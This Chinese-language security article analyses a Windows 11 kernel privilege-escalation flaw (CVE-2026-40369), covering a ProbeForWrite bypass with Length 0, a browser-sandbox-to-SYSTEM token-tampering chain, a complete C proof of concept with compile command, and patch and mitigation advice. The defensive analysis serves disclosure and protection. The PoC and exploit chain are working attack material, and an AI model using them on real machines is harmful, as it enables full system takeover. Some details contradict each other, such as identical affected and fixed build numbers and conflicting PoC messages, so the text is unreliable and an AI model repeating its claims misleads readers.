一、事件背景Pwn2Own赛前泄露的核弹级漏洞2026年5月12日微软在例行补丁星期二发布了针对Windows内核的安全更新修复了编号为CVE-2026-40369的高危本地权限提升漏洞。然而就在补丁发布不到一周后安全研究员Ori Nimron在GitHub公开了该漏洞的完整利用代码包括基础PoC、完整LPE EXP以及Chrome沙箱模拟器变体。该漏洞原本是为Pwn2Own Berlin 2026大赛准备的0day漏洞由于提前泄露导致全球数百万Windows 11用户面临严重安全威胁。其最大的危险性在于攻击者仅需一个恶意网页即可在Chrome/Edge/Firefox等主流浏览器的渲染沙箱内直接完成沙箱逃逸并提升至系统最高SYSTEM权限全程无需用户交互成功率100%。二、影响范围覆盖所有新版Windows系统截至2026年6月1日受影响的Windows版本如下系统版本受影响Build号修复Build号Windows 11 24H2 10.0.26100.845710.0.26100.8457Windows 11 25H2 10.0.26200.845710.0.26200.8457Windows 11 26H1 预览版 10.0.28000.211310.0.28000.2113Windows Server 2025 10.0.26100.3286010.0.26100.32860注意Windows 10及更早版本不受此漏洞影响因为SystemProcessInformationExtensionClass 253是Windows 11 24H2及以后版本才引入的新信息类。三、漏洞核心原理ProbeForWrite绕过与任意内核地址递增写入3.1 漏洞触发入口漏洞位于Windows内核核心模块ntoskrnl.exe中的nt!ExpGetProcessInformation函数通过系统调用NtQuerySystemInformation触发当调用参数中信息类Class设置为253SystemProcessInformationExtension时会执行存在缺陷的逻辑。3.2 关键绕过ProbeForWrite被Length0完全失效ProbeForWrite是Windows内核用于验证用户态传入缓冲区合法性的核心安全函数它会检查目标内存地址是否在用户态地址空间范围内以及是否具有可写权限。然而该函数存在一个致命的设计缺陷当传入的Length参数为0时函数会直接返回不执行任何验证逻辑。以下是nt!ProbeForWrite函数的反汇编代码Windows 11 25H2 build 26100.8246void__stdcallProbeForWrite(volatilevoid*Address,SIZE_T Length,ULONG Alignment){if(Length){// 关键判断Length0时直接返回if(((Alignment-1)(unsignedint)Address)!0)ExRaiseDatatypeMisalignment();v3(unsigned__int64)AddressLength-1;if((unsigned__int64)Addressv3||v30x7FFFFFFF0000LL)ExRaiseAccessViolation();// 页面触摸验证v4(volatilevoid*)((v30xFFFFFFFFFFFFF000uLL)4096);do{*(_BYTE*)Address*(_BYTE*)Address;Address(volatilevoid*)(((unsigned__int64)Address0xFFFFFFFFFFFFF000uLL)4096);}while(Address!v4);}}从代码中可以清晰看到当Length 0时函数直接跳过了所有验证步骤包括用户态地址上限检查和页面触摸验证。这意味着攻击者可以传入任意内核地址作为缓冲区指针而不会被内核检测到。3.3 内核写入原语精确可控的12字节递增写入绕过ProbeForWrite后ExpGetProcessInformation函数会遍历系统内所有运行的进程并对攻击者指定的内核地址执行三次4字节DWORD递增写入操作// nt!ExpGetProcessInformation 简化逻辑NTSTATUS __fastcallExpGetProcessInformation(__int64 a1,// 攻击者控制的内核地址unsignedinta2,// Length0_DWORD*a3,// ReturnLength_DWORD*a4,// session-id filterinta5)// information class 253{unsignedint*v99;...v99(unsignedint*)a1;// 直接使用攻击者传入的指针...// 主进程遍历循环NextProcess(__int64*)PsIdleProcess;while(NextProcess){if(!ExpSysInfoShouldSkipProcess((__int64)NextProcess)){if(a5253){*v99;// 写入1[target0] 1进程计数器v99[1]PsGetProcessActiveThreadCount((__int64)NextProcess);// 写入2[target4] 线程数v99[2]ObGetProcessHandleCount((struct_EX_RUNDOWN_REF*)NextProcess,0LL);// 写入3[target8] 句柄数}}NextProcessExGetNextProcess(NextProcess,v76,v21,v22);}...// 最后才检查长度此时写入已经完成if(a212){*a312;returnSTATUS_INFO_LENGTH_MISMATCH;}...}写入原语特性每次调用系统调用会在指定内核地址0处累加系统进程总数在地址4处累加所有进程的线程数之和在地址8处累加所有进程的句柄数之和写入范围精确控制在12字节内完全确定性无竞争条件可通过创建/销毁进程来精确控制写入值3.4 沙箱防护全面失效为什么Chrome沙箱无法阻止Chrome浏览器的渲染沙箱采用了多层防护机制包括Win32k锁定、受限令牌、不可信完整性级别等旨在限制渲染进程的权限。然而本次漏洞对应的NtQuerySystemInformation系统调用不在沙箱的拦截名单内。具体来说Win32k锁定只拦截Win32k子系统的系统调用而NtQuerySystemInformation属于NT内核系统调用不受影响受限令牌没有限制对NtQuerySystemInformation的调用权限不可信完整性级别不阻止对系统信息查询类系统调用的访问进程间通信IPC过滤该漏洞不需要与浏览器主进程进行任何IPC通信这意味着即使在最严格的Chrome渲染沙箱环境中恶意代码也可以直接调用NtQuerySystemInformation系统调用触发内核漏洞。四、完整利用链分析从沙箱到SYSTEM的五步攻击目前GitHub上已公开两种不同的利用链Ori Nimron的经典令牌窃取链和VoidSec的令牌伪造链。以下是Ori Nimron公开的完整利用链分析该链成功率100%且可在Chrome沙箱内直接运行。4.1 利用链流程图恶意网页 ↓ Chrome渲染进程沙箱内 ↓ 调用NtQuerySystemInformation(253, 内核地址, 0) ↓ KASLR绕过利用prefetch-tool泄露内核基址 ↓ 定位当前进程的Token对象地址 ↓ 利用递增写入原语篡改Token权限位 ↓ 当前进程权限提升至SYSTEM ↓ 启动SYSTEM级别的cmd.exe ↓ 完全控制系统4.2 阶段一KASLR绕过Windows内核采用了内核地址空间布局随机化KASLR技术每次系统启动时内核模块的加载地址都会随机变化。为了利用漏洞攻击者首先需要获取ntoskrnl.exe的内核基址。公开EXP使用了开源工具prefetch-tool来绕过KASLR。该工具利用Windows预取文件Prefetch File中的信息通过侧信道攻击泄露内核模块的加载地址。这种方法不需要任何特殊权限在Chrome沙箱内也可以正常使用。4.3 阶段二定位Token对象地址获取内核基址后攻击者需要定位当前进程的权限令牌Token对象地址。Token对象存储了进程的所有权限信息包括用户SID、组SID、特权位等。篡改Token对象中的特权位是Windows内核提权最常用的方法之一。攻击者可以通过以下步骤定位Token对象从内核基址获取PsInitialSystemProcess全局变量地址遍历EPROCESS链表找到当前进程的EPROCESS结构从EPROCESS结构中获取Token对象的指针4.4 阶段三篡改Token权限位Token对象中的Privileges.Enabled字段是一个64位的位图每一位代表一个特权是否被启用。攻击者需要将SeDebugPrivilege、SeTcbPrivilege、SeImpersonatePrivilege等关键特权位设置为1以获得系统最高权限。利用漏洞的递增写入原语攻击者可以精确地将Token对象中的Privileges.Enabled字段设置为全1。例如如果当前Privileges.Enabled字段的值为0x0000000000000000攻击者可以通过多次调用系统调用将其递增到0xFFFFFFFFFFFFFFFF。4.5 阶段四权限落地与系统控制成功篡改Token权限位后当前进程就拥有了系统最高的SYSTEM权限。攻击者可以启动一个新的cmd.exe进程该进程将继承SYSTEM权限从而完全控制目标系统。五、PoC代码分析最小可复现示例以下是Ori Nimron公开的最小PoC代码演示了漏洞的核心原语——任意内核地址递增写入。该代码仅用于验证漏洞存在不会对系统造成破坏。#includewindows.h#includestdio.h#pragmacomment(lib,ntdll.lib)typedeflongNTSTATUS;#defineSystemProcessInformationExtension253#defineSTATUS_INFO_LENGTH_MISMATCH0xC0000004typedefNTSTATUS(NTAPI*PNtQuerySystemInformation)(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);intmain(void){PNtQuerySystemInformation pNtQSI(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleW(Lntdll.dll),NtQuerySystemInformation);if(!pNtQSI){printf([-] Failed to get NtQuerySystemInformation address\n);return1;}// 注意这里使用了一个无效的内核地址仅用于演示// 实际利用时需要替换为真实的可写内核地址PVOID target(PVOID)0xffff800041424344ULL;printf([*] CVE-2026-40369 PoC - Arbitrary Kernel Address Increment\n);printf([*] Target kernel address: %p\n,target);printf([*] Will perform the following writes:\n);printf( [target0] number of running processes\n);printf( [target4] total number of threads\n);printf( [target8] total number of handles\n);printf(\n[!] WARNING: This will cause a BSOD if the address is not mapped writable!\n);printf([*] Press Enter to continue...\n);getchar();ULONG needed0;NTSTATUS statuspNtQSI(SystemProcessInformationExtension,target,// 内核地址 - 因为Length0ProbeForWrite被绕过0,// Length0 是漏洞触发的关键needed);printf([*] NtQuerySystemInformation returned: 0x%08lX\n,status);printf([*] Required length: %lu\n,needed);if(statusSTATUS_INFO_LENGTH_MISMATCH){printf([] Success! The write primitive works.\n);printf([] If you didnt get a BSOD, the address was not mapped.\n);}else{printf([-] Failed. Status: 0x%08lX\n,status);}return0;}编译与运行使用Visual Studio 2022或更高版本编译编译命令cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib在未打补丁的Windows 11 24H2/25H2系统上运行如果系统没有蓝屏说明漏洞存在因为无效地址不会触发写入六、微软修复方案分析微软在2026年5月补丁星期二发布的累积更新KB5037768/KB5037769中修复了该漏洞。修复方案主要做了以下两点改进在ExpGetProcessInformation函数开头添加了指针验证if(PreviousMode!KernelModea10x7FFFFFFF0000LL){returnSTATUS_ACCESS_VIOLATION;}修改了ProbeForWrite函数的逻辑即使Length0也会检查指针是否在用户态地址空间范围内。七、分级防御方案7.1 首选方案立即安装官方补丁这是最有效、最彻底的防护措施。操作步骤打开Windows设置进入Windows更新点击检查更新安装2026年5月累积更新KB5037768/KB5037769重启系统使补丁生效7.2 临时缓解方案无法立即打补丁时如果由于业务原因无法立即安装补丁可以采取以下临时缓解措施系统调用管控借助EDR、主机防火墙或组策略工具限制低权限进程和浏览器进程调用NtQuerySystemInformationClass 253接口配置规则当chrome.exe、edge.exe、firefox.exe等浏览器进程调用NtQuerySystemInformation且Class253时立即阻止并告警浏览器安全配置启用浏览器的增强保护模式禁用非必要的浏览器扩展配置浏览器阻止自动运行脚本不建议直接关闭浏览器沙箱这会大幅降低浏览器的整体安全性行为监控告警在终端和日志平台配置规则监控异常调用SystemProcessInformationExtension的行为监控进程权限异常提升行为特别是从浏览器进程派生的SYSTEM权限进程7.3 企业纵深防御终端层面强化主机入侵检测系统HIDS监控内核内存写入和进程权限变更部署应用程序白名单只允许经过授权的程序运行定期对终端进行漏洞扫描和安全评估网络层面部署Web应用防火墙WAF阻断恶意站点和钓鱼站点的访问配置网络入侵检测系统NIDS监控异常网络流量实施网络分段限制横向移动运维层面建立完善的补丁管理流程及时推送安全补丁定期对员工进行安全意识培训提高员工的安全防范意识制定应急响应预案以便在发生安全事件时能够快速响应八、安全启示与前瞻性分析8.1 内核参数校验的重要性CVE-2026-40369是一个典型的参数校验疏漏导致的内核漏洞。微软在设计ProbeForWrite函数时没有考虑到Length0这种边界情况导致整个安全机制失效。这提醒我们在进行内核开发时必须对所有用户态传入的参数进行严格、全面的验证特别是边界值和异常值。8.2 沙箱不是绝对安全边界本次漏洞再次证明了沙箱不是绝对安全的边界。虽然Chrome等浏览器的沙箱技术已经非常成熟但内核漏洞仍然可以直接穿透沙箱防护。这意味着浏览器厂商需要不断扩大沙箱的拦截范围特别是对NT内核系统调用的拦截。8.3 公开漏洞的利用速度随着安全研究的不断发展漏洞从公开到出现大规模在野利用的时间窗口正在不断缩短。CVE-2026-40369在补丁发布不到一周后就出现了完整的利用代码这给企业和用户的补丁部署带来了巨大的压力。因此建立快速、高效的补丁管理流程变得越来越重要。8.4 未来攻击趋势随着浏览器沙箱技术的不断完善攻击者越来越倾向于利用内核漏洞来实现沙箱逃逸。未来我们可能会看到更多针对Windows内核冷门系统调用和信息类的漏洞被发现和利用。安全厂商和研究人员需要加强对这些冷门攻击面的研究和防护。九、总结CVE-2026-40369是2026年上半年最严重的Windows内核漏洞之一。它利用ProbeForWrite函数对Length0参数的处理缺陷实现了任意内核地址递增写入原语并且可以在Chrome等主流浏览器的渲染沙箱内直接触发导致沙箱逃逸和本地权限提升。对于普通用户及时安装系统补丁是最简单有效的防护手段对于企业运维和安全人员需要重点关注终端补丁覆盖率、主机行为审计和系统调用管控警惕依托网页发起的沙箱逃逸内核提权组合攻击。